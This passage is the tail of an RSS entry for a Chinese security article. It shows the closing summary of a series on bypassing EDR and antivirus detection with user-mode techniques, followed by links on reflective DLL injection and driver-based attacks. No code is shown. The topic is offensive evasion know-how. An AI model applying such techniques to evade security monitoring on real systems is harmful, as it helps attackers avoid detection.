initial;text-decoration-color: initial;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding: 0px 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">总结</h2><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">该系列文章所有的bypass edr方法都只在用户态进行操作，已经能规避大多数AV/EDR的检测。但不乏一些edr进行了比较多的内核层面的限制，如炭黑、fireeye等。对于驱动和流量层面的免杀，后期还会有专门的文章进行介绍与学习，感谢大家的支持。</p><h2 style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding: 0px 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">参考</h2><p style="font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><a href="https://depthsecurity.com/blog/reflective-dll-injection-in-c" target="_blank">https://depthsecurity.com/blog/reflective-dll-injection-in-c</a> <a href="https://github.com/Allevon412/ReflectiveDLL_Sektor7" target="_blank">https://github.com/Allevon412/ReflectiveDLL_Sektor7</a> <a href="https://github.com/stephenfewer/ReflectiveDLLInjection" target="_blank">https://github.com/stephenfewer/ReflectiveDLLInjection</a> <a href="https://www.rapid7.com/blog/post/2021/12/13/driver-based-attacks-past-and-present/" target="_blank">https://www.rapid7.com/blog/post/2021/12/13/driver-based-attacks-past-and-present/</a></p>



<p><a href="2247498408">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=1392f658&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkwNjMyNzM1Nw%3D%3D%26mid%3D2247498408%26idx%3D1%26sn%3D4c7b4f210ede4e3ffa60c895703c7f9c%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 25 Aug 2022 09:30:00 +0800</pubDate>
    </item>
  </channel>
</rss>